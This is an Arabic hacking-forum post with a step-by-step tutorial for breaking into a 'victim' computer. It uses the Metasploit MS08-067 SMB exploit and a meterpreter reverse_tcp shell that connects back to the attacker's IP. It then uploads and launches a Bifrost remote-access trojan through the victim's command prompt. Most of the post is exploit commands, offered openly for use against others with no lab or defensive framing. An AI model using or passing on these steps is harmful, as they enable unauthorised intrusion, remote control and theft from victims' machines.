شرح مصور لإختراق جهاز الضحية بالـ MeTa ورفع سيرفر بيفروست

تحية لكم ياأعضاء منتديات TOP-Hacker ،نسأل الله أن تكونوا على خير حال
اليوم راح نشرح بالصور طريقة إختراق جهاز الضحية بإستخدام مشروع الميتا ورفع سيرفر بيفروست على الجهاز
نتابع .....

تم تنفيذ الشرح باستخدام الإصدار التالي metasploit framework gui v3.2-release

نقوم بفتح أداة Metasploit 3 GUI وبعد فتحها نقوم بالضغط علي كلمة window وبعد ذلك علي

console
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

سوف تنفتح لنا نافذة console نقوم بكتابة الأمر التالي فيها لإستعراض الإكسبلويتات :

كود:

show exploits

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

سوف نقوم بإستخدام إكسبلويت windows/smb/ms08_067_netapi من خلال الأمر التالي :

كود:

use windows/smb/ms08_067_netapi

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

بعد ذلك نقوم بإستعراض البايلودز من خلال أمر show payloads
ونختار البايلود التالي :

كود:

set payload windows/ meterpreter/reverse_tcp

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

بعد تحديد البايلود المستخدم نقوم باستعراض الخيارات بامر show options ونقوم بتعبئة الخيارات وفقا لما يلي :

كود:

set RHOST ip بدل كلمة أي بي نضع أي بي الضحية set Lhost ip بدل كلمة أي بي نضع أي بي جهازنا

وبعد ذلك نقوم بتطبيق الثغرة بأمر exploit ومن ثم enter

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

كما نلاحظ فيما يلي تم الإتصال بنجاح مع الجهاز عن طريق port 445

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

بعد ذلك ولمعرفة الخيارات المتاحة لنا نكتب أمر help ومن خلال الخيارات سنقوم برفع السيرفر ولاكن يجب قبل الرفع أن يتم نقل إلى داخل المجلد التالي :

كود:

C:\Program Files\metasploit\Framework3

وسنقوم برفع السيرفر من خلال الأمر التالي :

كود:

upload -r server.exe c:\

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

بعد رفع السيرفر نشغل برنامج الدوس للضحية بالأوامرالتالية:

كود:

use -m process execute -f cmd.exe -c interact 3

حسب رقم channel أو session المفتوح

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

لتشغيل السيرفر

كود:

start server.exe

وكما توضح الصورة نجاح تحميل السيرفر

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

شاشة الضحية

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]

نسأل الله أن نكون قد وفقنا في تناول وشرح الموضوع ونأسف على أي تقصير
ودمتم سالمين